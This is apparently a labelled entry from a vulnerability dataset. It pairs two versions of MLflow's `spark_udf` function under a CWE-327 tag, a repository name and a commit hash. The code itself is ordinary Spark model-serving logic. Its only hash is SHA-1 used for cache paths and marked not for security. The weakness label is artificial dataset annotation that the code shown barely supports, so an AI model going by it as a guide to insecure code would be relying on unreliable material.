            ""to Databricks cluster from your own machine.""
        )

    # Databricks connect can use `spark.addArtifact` to upload artifact to NFS.
    # But for Databricks shared cluster runtime, it can directly write to NFS, so exclude it
    # Note for Databricks Serverless runtime (notebook REPL), it runs on Servereless VM that
    # can't access NFS, so it needs to use `spark.addArtifact`.
    use_dbconnect_artifact = is_dbconnect_mode and not is_in_databricks_shared_cluster_runtime()

    if use_dbconnect_artifact:
        udf_sandbox_info = get_dbconnect_udf_sandbox_info(spark)
        if Version(udf_sandbox_info.mlflow_version) < Version(""2.18.0""):
            raise MlflowException(
                ""Using 'mlflow.pyfunc.spark_udf' in Databricks Serverless or in remote ""
                ""Databricks Connect requires UDF sandbox image installed with MLflow ""
                ""of version >= 2.18.0""
            )
        # `udf_sandbox_info.runtime_version` format is like '<major_version>.<minor_version>'.
        # It's safe to apply `Version`.
        if Version(udf_sandbox_info.runtime_version).major < 16:
            raise MlflowException(
                ""Using 'mlflow.pyfunc.spark_udf' in Databricks Serverless or in remote ""
                ""Databricks Connect requires Databricks runtime version >= 16.0.""
            )

    nfs_root_dir = get_nfs_cache_root_dir()
    should_use_nfs = nfs_root_dir is not None

    should_use_spark_to_broadcast_file = not (
        is_spark_in_local_mode or should_use_nfs or is_spark_connect or use_dbconnect_artifact
    )

    # For spark connect mode,
    # If client code is executed in databricks runtime and NFS is available,
    # we save model to NFS temp directory in the driver
    # and load the model in the executor.
    should_spark_connect_use_nfs = is_in_databricks_runtime() and should_use_nfs

    if (
        is_spark_connect
        and not is_dbconnect_mode
        and env_manager in (_EnvManager.VIRTUALENV, _EnvManager.CONDA)
    ):
        raise MlflowException.invalid_parameter_value(
            f""Environment manager {env_manager!r} is not supported in Spark Connect ""
            ""client environment if it connects to non-Databricks Spark cluster."",
        )

    local_model_path = _download_artifact_from_uri(
        artifact_uri=model_uri,
        output_path=_create_model_downloading_tmp_dir(should_use_nfs),
    )

    if prebuilt_env_uri:
        prebuilt_env_uri = _download_prebuilt_env_if_needed(prebuilt_env_uri)
        _verify_prebuilt_env(spark, local_model_path, prebuilt_env_uri)
    if use_dbconnect_artifact and env_manager == _EnvManager.CONDA:
        raise MlflowException(
            ""Databricks connect mode or Databricks Serverless python REPL doesn't ""
            ""support env_manager 'conda'.""
        )

    if env_manager == _EnvManager.LOCAL:
        # Assume spark executor python environment is the same with spark driver side.
        model_requirements = _get_pip_requirements_from_model_path(local_model_path)
        warn_dependency_requirement_mismatches(model_requirements)
        _logger.warning(
            'Calling `spark_udf()` with `env_manager=""local""` does not recreate the same '
            ""environment that was used during training, which may lead to errors or inaccurate ""
            'predictions. We recommend specifying `env_manager=""conda""`, which automatically '
            ""recreates the environment that was used to train the model and performs inference ""
            ""in the recreated environment.""
        )
    else:
        _logger.info(
            f""This UDF will use {env_manager} to recreate the model's software environment for ""
            ""inference. This may take extra time during execution.""
        )
        if not sys.platform.startswith(""linux""):
            # TODO: support killing mlflow server launched in UDF task when spark job canceled
            #  for non-linux system.
            #  https://stackoverflow.com/questions/53208/how-do-i-automatically-destroy-child-processes-in-windows
            _logger.warning(
                ""In order to run inference code in restored python environment, PySpark UDF ""
                ""processes spawn MLflow Model servers as child processes. Due to system ""
                ""limitations with handling SIGKILL signals, these MLflow Model server child ""
                ""processes cannot be cleaned up if the Spark Job is canceled.""
            )

    if prebuilt_env_uri:
        env_cache_key = os.path.basename(prebuilt_env_uri)[:-7]
    elif use_dbconnect_artifact:
        env_cache_key = _gen_prebuilt_env_archive_name(spark, local_model_path)
    else:
        env_cache_key = None

    if use_dbconnect_artifact or prebuilt_env_uri is not None:
        prebuilt_env_root_dir = os.path.join(_PREBUILD_ENV_ROOT_LOCATION, env_cache_key)
        pyfunc_backend_env_root_config = {
            ""create_env_root_dir"": False,
            ""env_root_dir"": prebuilt_env_root_dir,
        }
    else:
        pyfunc_backend_env_root_config = {""create_env_root_dir"": True}
    pyfunc_backend = get_flavor_backend(
        local_model_path,
        env_manager=env_manager,
        install_mlflow=os.environ.get(""MLFLOW_HOME"") is not None,
        **pyfunc_backend_env_root_config,
    )
    dbconnect_artifact_cache = DBConnectArtifactCache.get_or_create(spark)

    if use_dbconnect_artifact:
        # Upload model artifacts and python environment to NFS as DBConncet artifacts.
        if env_manager == _EnvManager.VIRTUALENV:
            if not dbconnect_artifact_cache.has_cache_key(env_cache_key):
                if prebuilt_env_uri:
                    env_archive_path = prebuilt_env_uri
                else:
                    env_archive_path = _prebuild_env_internal(
                        local_model_path, env_cache_key, get_or_create_tmp_dir()
                    )
                dbconnect_artifact_cache.add_artifact_archive(env_cache_key, env_archive_path)

        if not dbconnect_artifact_cache.has_cache_key(model_uri):
            model_archive_path = os.path.join(
                os.path.dirname(local_model_path), f""model-{uuid.uuid4()}.tar.gz""
            )
            archive_directory(local_model_path, model_archive_path)
            dbconnect_artifact_cache.add_artifact_archive(model_uri, model_archive_path)

    elif not should_use_spark_to_broadcast_file:
        if prebuilt_env_uri:
            # Extract prebuilt env archive file to NFS directory.
            prebuilt_env_nfs_dir = os.path.join(
                get_or_create_nfs_tmp_dir(), ""prebuilt_env"", env_cache_key
            )
            if not os.path.exists(prebuilt_env_nfs_dir):
                extract_archive_to_dir(prebuilt_env_uri, prebuilt_env_nfs_dir)
        else:
            # Prepare restored environment in driver side if possible.
            # Note: In databricks runtime, because databricks notebook cell output cannot capture
            # child process output, so that set capture_output to be True so that when `conda
            # prepare env` command failed, the exception message will include command stdout/stderr
            # output. Otherwise user have to check cluster driver log to find command stdout/stderr
            # output.
            # In non-databricks runtime, set capture_output to be False, because the benefit of
            # ""capture_output=False"" is the output will be printed immediately, otherwise you have
            # to wait conda command fail and suddenly get all output printed (included in error
            # message).
            if env_manager != _EnvManager.LOCAL:
                pyfunc_backend.prepare_env(
                    model_uri=local_model_path, capture_output=is_in_databricks_runtime()
                )
    else:
        # Broadcast local model directory to remote worker if needed.
        archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    model_metadata = Model.load(os.path.join(local_model_path, MLMODEL_FILE_NAME))

    if result_type is None:
        if model_output_schema := model_metadata.get_output_schema():
            result_type = _infer_spark_udf_return_type(model_output_schema)
        else:
            _logger.warning(
                ""No 'result_type' provided for spark_udf and the model does not ""
                ""have an output schema. 'result_type' is set to 'double' type.""
            )
            result_type = DoubleType()
    else:
        if isinstance(result_type, str):
            result_type = _parse_spark_datatype(result_type)

    if not _check_udf_return_type(result_type):
        raise MlflowException.invalid_parameter_value(
            f""""""Invalid 'spark_udf' result type: {result_type}.
It must be one of the following types:
Primitive types:
 - int
 - long
 - float
 - double
 - string
 - boolean
Compound types:
 - ND array of primitives / structs.
 - struct<field: primitive | array<primitive> | array<array<primitive>>, ...>:
   A struct with primitive, ND array<primitive/structs>,
   e.g., struct<a:int, b:array<int>>.
""""""
        )
    params = _validate_params(params, model_metadata)

    def _predict_row_batch(predict_fn, args):
        input_schema = model_metadata.get_input_schema()
        args = list(args)
        if len(args) == 1 and isinstance(args[0], pandas.DataFrame):
            pdf = args[0]
        else:
            if input_schema is None:
                names = [str(i) for i in range(len(args))]
            else:
                names = input_schema.input_names()
                required_names = input_schema.required_input_names()
                if len(args) > len(names):
                    args = args[: len(names)]
                if len(args) < len(required_names):
                    raise MlflowException(
                        f""Model input is missing required columns. Expected {len(names)} required""
                        f"" input columns {names}, but the model received only {len(args)} ""
                        ""unnamed input columns (Since the columns were passed unnamed they are""
                        "" expected to be in the order specified by the schema).""
                    )
            pdf = pandas.DataFrame(
                data={
                    names[i]: arg
                    if isinstance(arg, pandas.Series)
                    # pandas_udf receives a StructType column as a pandas DataFrame.
                    # We need to convert it back to a dict of pandas Series.
                    else arg.apply(lambda row: row.to_dict(), axis=1)
                    for i, arg in enumerate(args)
                },
                columns=names,
            )

        result = predict_fn(pdf, params)

        if isinstance(result, dict):
            result = {k: list(v) for k, v in result.items()}

        if isinstance(result_type, ArrayType) and isinstance(result_type.elementType, ArrayType):
            result_values = _convert_array_values(result, result_type)
            return pandas.Series(result_values)

        if not isinstance(result, pandas.DataFrame):
            result = pandas.DataFrame([result]) if np.isscalar(result) else pandas.DataFrame(result)

        if isinstance(result_type, SparkStructType):
            return _convert_struct_values(result, result_type)

        elem_type = result_type.elementType if isinstance(result_type, ArrayType) else result_type

        if type(elem_type) == IntegerType:
            result = result.select_dtypes(
                [np.byte, np.ubyte, np.short, np.ushort, np.int32]
            ).astype(np.int32)

        elif type(elem_type) == LongType:
            result = result.select_dtypes([np.byte, np.ubyte, np.short, np.ushort, int]).astype(
                np.int64
            )

        elif type(elem_type) == FloatType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float32)

        elif type(elem_type) == DoubleType:
            result = result.select_dtypes(include=(np.number,)).astype(np.float64)

        elif type(elem_type) == BooleanType:
            result = result.select_dtypes([bool, np.bool_]).astype(bool)

        if len(result.columns) == 0:
            raise MlflowException(
                message=""The model did not produce any values compatible with the requested ""
                f""type '{elem_type}'. Consider requesting udf with StringType or ""
                ""Arraytype(StringType)."",
                error_code=INVALID_PARAMETER_VALUE,
            )

        if type(elem_type) == StringType:
            if Version(pandas.__version__) >= Version(""2.1.0""):
                result = result.map(str)
            else:
                result = result.applymap(str)

        if type(result_type) == ArrayType:
            return pandas.Series(result.to_numpy().tolist())
        else:
            return result[result.columns[0]]

    result_type_hint = (
        pandas.DataFrame if isinstance(result_type, SparkStructType) else pandas.Series
    )

    tracking_uri = mlflow.get_tracking_uri()

    @pandas_udf(result_type)
    def udf(
        iterator: Iterator[Tuple[Union[pandas.Series, pandas.DataFrame], ...]],  # noqa: UP006
    ) -> Iterator[result_type_hint]:
        # importing here to prevent circular import
        from mlflow.pyfunc.scoring_server.client import (
            ScoringServerClient,
            StdinScoringServerClient,
        )

        # Note: this is a pandas udf function in iteration style, which takes an iterator of
        # tuple of pandas.Series and outputs an iterator of pandas.Series.
        update_envs = {}
        if mlflow_home is not None:
            update_envs[""MLFLOW_HOME""] = mlflow_home
        if openai_env_vars:
            update_envs.update(openai_env_vars)
        if mlflow_testing:
            update_envs[_MLFLOW_TESTING.name] = mlflow_testing
        if extra_env:
            update_envs.update(extra_env)

        #  use `modified_environ` to temporarily set the envs and restore them finally
        with modified_environ(update=update_envs):
            scoring_server_proc = None
            # set tracking_uri inside udf so that with spark_connect
            # we can load the model from correct path
            mlflow.set_tracking_uri(tracking_uri)

            if env_manager != _EnvManager.LOCAL:
                if use_dbconnect_artifact:
                    local_model_path_on_executor = (
                        dbconnect_artifact_cache.get_unpacked_artifact_dir(model_uri)
                    )
                    env_src_dir = dbconnect_artifact_cache.get_unpacked_artifact_dir(env_cache_key)

                    # Create symlink if it does not exist
                    if not os.path.exists(prebuilt_env_root_dir):
                        os.symlink(env_src_dir, prebuilt_env_root_dir)
                elif prebuilt_env_uri is not None:
                    # prebuilt env is extracted to `prebuilt_env_nfs_dir` directory,
                    # and model is downloaded to `local_model_path` which points to an NFS
                    # directory too.
                    local_model_path_on_executor = None

                    # Create symlink if it does not exist
                    if not os.path.exists(prebuilt_env_root_dir):
                        os.symlink(prebuilt_env_nfs_dir, prebuilt_env_root_dir)
                elif should_use_spark_to_broadcast_file:
                    local_model_path_on_executor = _SparkDirectoryDistributor.get_or_extract(
                        archive_path
                    )
                    # Call ""prepare_env"" in advance in order to reduce scoring server launch time.
                    # So that we can use a shorter timeout when call `client.wait_server_ready`,
                    # otherwise we have to set a long timeout for `client.wait_server_ready` time,
                    # this prevents spark UDF task failing fast if other exception raised
                    # when scoring server launching.
                    # Set ""capture_output"" so that if ""conda env create"" command failed, the command
                    # stdout/stderr output will be attached to the exception message and included in
                    # driver side exception.
                    pyfunc_backend.prepare_env(
                        model_uri=local_model_path_on_executor, capture_output=True
                    )
                else:
                    local_model_path_on_executor = None

                if check_port_connectivity():
                    # launch scoring server
                    server_port = find_free_port()
                    host = ""127.0.0.1""
                    scoring_server_proc = pyfunc_backend.serve(
                        model_uri=local_model_path_on_executor or local_model_path,
                        port=server_port,
                        host=host,
                        timeout=MLFLOW_SCORING_SERVER_REQUEST_TIMEOUT.get(),
                        enable_mlserver=False,
                        synchronous=False,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                        model_config=model_config,
                    )

                    client = ScoringServerClient(host, server_port)
                else:
                    scoring_server_proc = pyfunc_backend.serve_stdin(
                        model_uri=local_model_path_on_executor or local_model_path,
                        stdout=subprocess.PIPE,
                        stderr=subprocess.STDOUT,
                        model_config=model_config,
                    )
                    client = StdinScoringServerClient(scoring_server_proc)

                _logger.info(""Using %s"", client.__class__.__name__)

                server_tail_logs = collections.deque(
                    maxlen=_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP
                )

                def server_redirect_log_thread_func(child_stdout):
                    for line in child_stdout:
                        decoded = line.decode() if isinstance(line, bytes) else line
                        server_tail_logs.append(decoded)
                        sys.stdout.write(""[model server] "" + decoded)

                server_redirect_log_thread = threading.Thread(
                    target=server_redirect_log_thread_func,
                    args=(scoring_server_proc.stdout,),
                    daemon=True,
                )
                server_redirect_log_thread.start()

                try:
                    client.wait_server_ready(timeout=90, scoring_server_proc=scoring_server_proc)
                except Exception as e:
                    err_msg = (
                        ""During spark UDF task execution, mlflow model server failed to launch. ""
                    )
                    if len(server_tail_logs) == _MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP:
                        err_msg += (
                            f""Last {_MLFLOW_SERVER_OUTPUT_TAIL_LINES_TO_KEEP} ""
                            ""lines of MLflow model server output:\n""
                        )
                    else:
                        err_msg += ""MLflow model server output:\n""
                    err_msg += """".join(server_tail_logs)
                    raise MlflowException(err_msg) from e

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(client.invoke).parameters.get(""params""):
                        return client.invoke(pdf, params=params).get_predictions()
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return client.invoke(pdf).get_predictions()

            elif env_manager == _EnvManager.LOCAL:
                if use_dbconnect_artifact:
                    model_path = dbconnect_artifact_cache.get_unpacked_artifact_dir(model_uri)
                elif is_spark_connect and not should_spark_connect_use_nfs:
                    model_path = os.path.join(
                        tempfile.gettempdir(),
                        ""mlflow"",
                        hashlib.sha1(model_uri.encode(), usedforsecurity=False).hexdigest(),
                        # Use pid to avoid conflict when multiple spark UDF tasks
                        str(os.getpid()),
                    )
                    try:
                        loaded_model = mlflow.pyfunc.load_model(
                            model_path, model_config=model_config
                        )
                    except Exception:
                        os.makedirs(model_path, exist_ok=True)
                        loaded_model = mlflow.pyfunc.load_model(
                            model_uri, dst_path=model_path, model_config=model_config
                        )
                elif should_use_spark_to_broadcast_file:
                    loaded_model, _ = SparkModelCache.get_or_load(archive_path)
                else:
                    loaded_model = mlflow.pyfunc.load_model(
                        local_model_path, model_config=model_config
                    )

                def batch_predict_fn(pdf, params=None):
                    if inspect.signature(loaded_model.predict).parameters.get(""params""):
                        return loaded_model.predict(pdf, params=params)
                    _log_warning_if_params_not_in_predict_signature(_logger, params)
                    return loaded_model.predict(pdf)

            try:
                for input_batch in iterator:
                    # If the UDF is called with only multiple arguments,
                    # the `input_batch` is a tuple which composes of several pd.Series/pd.DataFrame
                    # objects.
                    # If the UDF is called with only one argument,
                    # the `input_batch` instance will be an instance of `pd.Series`/`pd.DataFrame`,
                    if isinstance(input_batch, (pandas.Series, pandas.DataFrame)):
                        # UDF is called with only one argument
                        row_batch_args = (input_batch,)
                    else:
                        row_batch_args = input_batch

                    if len(row_batch_args[0]) > 0:
                        yield _predict_row_batch(batch_predict_fn, row_batch_args)
            finally:
                if scoring_server_proc is not None:
                    os.kill(scoring_server_proc.pid, signal.SIGTERM)

    udf.metadata = model_metadata

    @functools.wraps(udf)
    def udf_with_default_cols(*args):
        if len(args) == 0:
            input_schema = model_metadata.get_input_schema()
            if input_schema and len(input_schema.optional_input_names()) > 0:
                raise MlflowException(
                    message=""Cannot apply UDF without column names specified when""
                    "" model signature contains optional columns."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
            if input_schema and len(input_schema.inputs) > 0:
                if input_schema.has_input_names():
                    input_names = input_schema.input_names()
                    return udf(*input_names)
                else:
                    raise MlflowException(
                        message=""Cannot apply udf because no column names specified. The udf ""
                        f""expects {len(input_schema.inputs)} columns with types: ""
                        ""{input_schema.inputs}. Input column names could not be inferred from the""
                        "" model signature (column names not found)."",
                        error_code=INVALID_PARAMETER_VALUE,
                    )
            else:
                raise MlflowException(
                    ""Attempting to apply udf on zero columns because no column names were ""
                    ""specified as arguments or inferred from the model signature."",
                    error_code=INVALID_PARAMETER_VALUE,
                )
        else:
            return udf(*args)

    return udf_with_default_cols",CWE-327,mlflow/mlflow,74e3a2ea2bc25d3ec1cd40573f5d24272e3a5f2a,"def spark_udf(
    spark,
    model_uri,
    result_type=None,
    env_manager=None,
    params: Optional[dict[str, Any]] = None,
    extra_env: Optional[dict[str, str]] = None,
    prebuilt_env_uri: Optional[str] = None,
    model_config: Optional[Union[str, Path, dict[str, Any]]] = None,
):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the column names
    are ordinals (0, 1, ...). On some versions of Spark (3.0 and above), it is also possible to
    wrap the input in a struct. In that case, the data will be passed as a DataFrame with column
    names given by the struct definition (e.g. when invoked as my_udf(struct('x', 'y')), the model
    will get the data as a pandas DataFrame with 2 columns 'x' and 'y').

    If a model contains a signature with tensor spec inputs, you will need to pass a column of
    array type as a corresponding UDF argument. The column values of which must be one dimensional
    arrays. The UDF will reshape the column values to the required shape with 'C' order
    (i.e. read / write the elements using C-like index order) and cast the values as the required
    tensor spec type.

    If a model contains a signature, the UDF can be called without specifying column name
    arguments. In this case, the UDF will be called with column names from signature, so the
    evaluation dataframe's column names must match the model signature's column names.

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    .. note::
        Inputs of type ``pyspark.sql.types.DateType`` are not supported on earlier versions of
        Spark (2.4 and below).

    .. note::
        When using Databricks Connect to connect to a remote Databricks cluster,
        the Databricks cluster must use runtime version >= 16, and when 'spark_udf'
        param 'env_manager' is set as 'virtualenv', the 'prebuilt_env_uri' param is
        required to be specified.

    .. note::
        Please be aware that when operating in Databricks Serverless,
        spark tasks run within the confines of the Databricks Serverless UDF sandbox.
        This environment has a total capacity limit of 1GB, combining both available
        memory and local disk capacity. Furthermore, there are no GPU devices available
        in this setup. Therefore, any deep-learning models that contain large weights
        or require a GPU are not suitable for deployment on Databricks Serverless.

    .. code-block:: python
        :caption: Example

        from pyspark.sql.functions import struct

        predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
        df.withColumn(""prediction"", predict(struct(""name"", ""age""))).show()

    Args:
        spark: A SparkSession object.
        model_uri: The location, in URI format, of the MLflow model with the
            :py:mod:`mlflow.pyfunc` flavor. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

        result_type: the return type of the user-defined function. The value can be either a
            ``pyspark.sql.types.DataType`` object or a DDL-formatted type string. Only a primitive
            type, an array ``pyspark.sql.types.ArrayType`` of primitive type, or a struct type
            containing fields of above 2 kinds of types are allowed.
            If unspecified, it tries to infer result type from model signature
            output schema, if model output schema is not available, it fallbacks to use ``double``
            type.

            The following classes of result type are supported:

            - ""int"" or ``pyspark.sql.types.IntegerType``: The leftmost integer that can fit in an
              ``int32`` or an exception if there is none.

            - ""long"" or ``pyspark.sql.types.LongType``: The leftmost long integer that can fit in an
              ``int64`` or an exception if there is none.

            - ``ArrayType(IntegerType|LongType)``: All integer columns that can fit into the
              requested size.

            - ""float"" or ``pyspark.sql.types.FloatType``: The leftmost numeric result cast to
              ``float32`` or an exception if there is none.

            - ""double"" or ``pyspark.sql.types.DoubleType``: The leftmost numeric result cast to
              ``double`` or an exception if there is none.

            - ``ArrayType(FloatType|DoubleType)``: All numeric columns cast to the requested type or
              an exception if there are no numeric columns.

            - ""string"" or ``pyspark.sql.types.StringType``: The leftmost column converted to
              ``string``.

            - ""boolean"" or ""bool"" or ``pyspark.sql.types.BooleanType``: The leftmost column
              converted to ``bool`` or an exception if there is none.

            - ``ArrayType(StringType)``: All columns converted to ``string``.

            - ""field1 FIELD1_TYPE, field2 FIELD2_TYPE, ..."": A struct type containing multiple
              fields separated by comma, each field type must be one of types listed above.

        env_manager: The environment manager to use in order to create the python environment
            for model inference. Note that environment is only restored in the context
            of the PySpark UDF; the software environment outside of the UDF is
            unaffected. If `prebuilt_env_uri` parameter is not set, the default value
            is ``local``, and the following values are supported:

            - ``virtualenv``: Use virtualenv to restore the python environment that
              was used to train the model.
            - ``conda``: (Recommended) Use Conda to restore the software environment
              that was used to train the model.
            - ``local``: Use the current Python environment for model inference, which
              may differ from the environment used to train the model and may lead to
              errors or invalid predictions.

            If the `prebuilt_env_uri` parameter is set, `env_manager` parameter should not
            be set.

        params: Additional parameters to pass to the model for inference.

        extra_env: Extra environment variables to pass to the UDF executors.

        prebuilt_env_uri: The path of the prebuilt env archive file created by
            `mlflow.pyfunc.build_model_env` API.
            This parameter can only be used in Databricks Serverless notebook REPL,
            Databricks Shared cluster notebook REPL, and Databricks Connect client
            environment.
            The path can be either local file path or DBFS path such as
            'dbfs:/Volumes/...', in this case, MLflow automatically downloads it
            to local temporary directory, ""MLFLOW_MODEL_ENV_DOWNLOADING_TEMP_DIR""
            environmental variable can be set to specify the temporary directory
            to use.

            If this parameter is set, `env_manger` parameter must not be set.

        model_config: The model configuration to set when loading the model.
            See 'model_config' argument in `mlflow.pyfunc.load_model` API for details.

    Returns:
        Spark UDF that applies the model's ``predict`` method to the data and returns a
        type specified by ``result_type``, which by default is a double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import (
        ArrayType,
        BooleanType,
        DoubleType,
        FloatType,
        IntegerType,
        LongType,
        StringType,
    )
    from pyspark.sql.types import StructType as SparkStructType

    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from mlflow.utils._spark_utils import _SparkDirectoryDistributor

    is_spark_connect = is_spark_connect_mode()
    # Used in test to force install local version of mlflow when starting a model server
    mlflow_home = os.environ.get(""MLFLOW_HOME"")
    openai_env_vars = mlflow.openai._OpenAIEnvVar.read_environ()
    mlflow_testing = _MLFLOW_TESTING.get_raw()

    if prebuilt_env_uri:
        if env_manager is not None:
            raise MlflowException(
                ""If 'prebuilt_env_uri' parameter is set, 'env_manager' parameter can't be set.""
            )
        env_manager = _EnvManager.VIRTUALENV
    else:
        env_manager = env_manager or _EnvManager.LOCAL

    _EnvManager.validate(env_manager)

    if is_spark_connect:
        is_spark_in_local_mode = False
    else:
        # Check whether spark is in local or local-cluster mode
        # this case all executors and driver share the same filesystem
        is_spark_in_local_mode = spark.conf.get(""spark.master"").startswith(""local"")

    is_dbconnect_mode = is_databricks_connect(spark)
    if prebuilt_env_uri is not None and not is_dbconnect_mode:
        raise RuntimeError(
            ""'prebuilt_env' parameter can only be used in Databricks Serverless ""
            ""notebook REPL, atabricks Shared cluster notebook REPL, and Databricks Connect client ""
            ""environment.""
        )

    if prebuilt_env_uri is None and is_dbconnect_mode and not is_in_databricks_runtime():
        raise RuntimeError(
            ""'prebuilt_env_uri' param is required if using Databricks Connect to connect ""
            ""to Databricks cluster from your own machine.""
        )

    # Databricks connect can use `spark.addArtifact` to upload artifact to NFS.
    # But for Databricks shared cluster runtime, it can directly write to NFS, so exclude it
    # Note for Databricks Serverless runtime (notebook REPL), it runs on Servereless VM that
    # can't access NFS, so it needs to use `spark.addArtifact`.
    use_dbconnect_artifact = is_dbconnect_mode and not is_in_databricks_shared_cluster_runtime()

    if use_dbconnect_artifact:
        udf_sandbox_info = get_dbconnect_udf_sandbox_info(spark)
        if Version(udf_sandbox_info.mlflow_version) < Version(""2.19.0""):
            raise MlflowException(
                ""Using 'mlflow.pyfunc.spark_udf' in Databricks Serverless or in remote ""
                ""Databricks Connect requires UDF sandbox image installed with MLflow ""
                ""of version >= 2.19.""
            )
        # `udf_sandbox_info.runtime_version` format is like '<major_version>.<minor_version>'.
        # It's safe to apply `Version`.
        if Version(udf_sandbox_info.runtime_version).major < 16:
            raise MlflowException(
                ""Using 'mlflow.pyfunc.spark_udf' in Databricks Serverless or in remote ""
                ""Databricks Connect requires Databricks runtime version >= 16.0.""
            )

    nfs_root_dir = get_nfs_cache_root_dir()
    should_use_nfs = nfs_root_dir is not None

    should_use_spark_to_broadcast_file = not (
        is_spark_in_local_mode or should_use_nfs or is_spark_connect or use_dbconnect_artifact
    )

    # For spark connect mode,
    # If client code is executed in databricks runtime and NFS is available,
    # we save model to NFS temp directory in the driver
    # and load the model in the executor.
    should_spark_connect_use_nfs = is_in_databricks_runtime() and should_use_nfs

    if (
        is_spark_connect
        and not is_dbconnect_mode
        and env_manager in (_EnvManager.VIRTUALENV, _EnvManager.CONDA)
    ):
        raise MlflowException.invalid_parameter_value(
            f""Environment manager {env_manager!r} is not supported in Spark Connect ""
            ""client environment if it connects to non-Databricks Spark cluster."",
        )

    local_model_path = _download_artifact_from_uri(
        artifact_uri=model_uri,
        output_path=_create_model_downloading_tmp_dir(should_use_nfs),
    )

    if prebuilt_env_uri:
        prebuilt_env_uri = _download_prebuilt_env_if_needed(prebuilt_env_uri)
        _verify_prebuilt_env(spark, local_model_path, prebuilt_env_uri)
    if use_dbconnect_artifact and env_manager == _EnvManager.CONDA:
        raise MlflowException(
            ""Databricks connect mode or Databricks Serverless python REPL doesn't ""
            ""support env_manager 'conda'.""
        )

    if env_manager == _EnvManager.LOCAL:
        # Assume spark executor python environment is the same with spark driver side.
        model_requirements = _get_pip_requirements_from_model_path(local_model_path)
        warn_dependency_requirement_mismatches(model_requirements)
        _logger.warning(
            'Calling `spark_udf()` with `env_manager=""local""` does not recreate the same '
            ""environment that was used during training, which may lead to errors or inaccurate ""
            'predictions. We recommend specifying `env_manager=""conda""`, which automatically '
            ""recreates the environment that was used to train the model and performs inference ""
            ""in the recreated environment.""
        )
    else:
        _logger.info(
            f""This UDF will use {env_manager} to recreate the model's software environment for ""
            ""inference. This may take extra time during execution.""
        )
        if not sys.platform.startswith(""linux""):
            # TODO: support killing mlflow server launched in UDF task when spark job canceled
            #  for non-linux system.
            #  https://stackoverflow.com/questions/53208/how-do-i-automatically-destroy-child-processes-in-windows
            _logger.warning(
                ""In order to run inference code in restored python environment, PySpark UDF ""
                ""processes spawn MLflow Model servers as child processes. Due to system ""
                ""limitations with handling SIGKILL signals, these MLflow Model server child ""
                ""processes cannot be cleaned up if the Spark Job is canceled.""
            )

    if prebuilt_env_uri:
        env_cache_key = os.path.basename(prebuilt_env_uri)[:-7]
    elif use_dbconnect_artifact:
        env_cache_key = _gen_prebuilt_env_archive_name(spark, local_model_path)
    else:
        env_cache_key = None

    if use_dbconnect_artifact or prebuilt_env_uri is not None:
        prebuilt_env_root_dir = os.path.join(_PREBUILD_ENV_ROOT_LOCATION, env_cache_key)
        pyfunc_backend_env_root_config = {
            ""create_env_root_dir"": False,
            ""env_root_dir"": prebuilt_env_root_dir,
        }
    else:
        pyfunc_backend_env_root_config = {""create_env_root_dir"": True}
    pyfunc_backend = get_flavor_backend(
        local_model_path,
        env_manager=env_manager,
        install_mlflow=os.environ.get(""MLFLOW_HOME"") is not None,
        **pyfunc_backend_env_root_config,
    )
    dbconnect_artifact_cache = DBConnectArtifactCache.get_or_create(spark)

    if use_dbconnect_artifact:
        # Upload model artifacts and python environment to NFS as DBConncet artifacts.
        if env_manager == _EnvManager.VIRTUALENV:
            if not dbconnect_artifact_cache.has_cache_key(env_cache_key):
                if prebuilt_env_uri:
                    env_archive_path = prebuilt_env_uri
                else:
                    env_archive_path = _prebuild_env_internal(
                        local_model_path, env_cache_key, get_or_create_tmp_dir()
                    )
                dbconnect_artifact_cache.add_artifact_archive(env_cache_key, env_archive_path)

        if not dbconnect_artifact_cache.has_cache_key(model_uri):
            model_archive_path = os.path.join(
                os.path.dirname(local_model_path), f""model-{uuid.uuid4()}.tar.gz""
            )
            archive_directory(local_model_path, model_archive_path)
            dbconnect_artifact_cache.add_artifact_archive(model_uri, model_archive_path)

    elif not should_use_spark_to_broadcast_file:
        if prebuilt_env_uri:
            # Extract prebuilt env archive file to NFS directory.
            prebuilt_env_nfs_dir = os.path.join(
                get_or_create_nfs_tmp_dir(), ""prebuilt_env"", env_cache_key
            )
            if not os.path.exists(prebuilt_env_nfs_dir):
                extract_archive_to_dir(prebuilt_env_uri, prebuilt_env_nfs_dir)
        else:
            # Prepare restored environment in driver side if possible.
            # Note: In databricks runtime, because databricks notebook cell output cannot capture
            # child process output, so that set capture_output to be True so that when `conda
            # prepare env` command failed, the exception message will include command stdout/stderr
            # output. Otherwise user have to check cluster driver log to find command stdout/stderr
            # output.
            # In non-databricks runtime, set capture_output to be False, because the benefit of
            # ""capture_output=False"" is the output will be printed immediately, otherwise you have
            # to wait conda command fail and suddenly get all output printed (included in error
            # message).
            if env_manager != _EnvManager.LOCAL:
                pyfunc_backend.prepare_env(
                    model_uri=local_model_path, capture_output=is_in_databricks_runtime()
                )
    else:
        # Broadcast local model directory to remote worker if needed.
        archive_path = SparkModelCache.add_local_model(spark, local_model_path)

    model_metadata = Model.load(os.path.join(local_model_path, MLMODEL_FILE_NAME))

    if result_type is None:
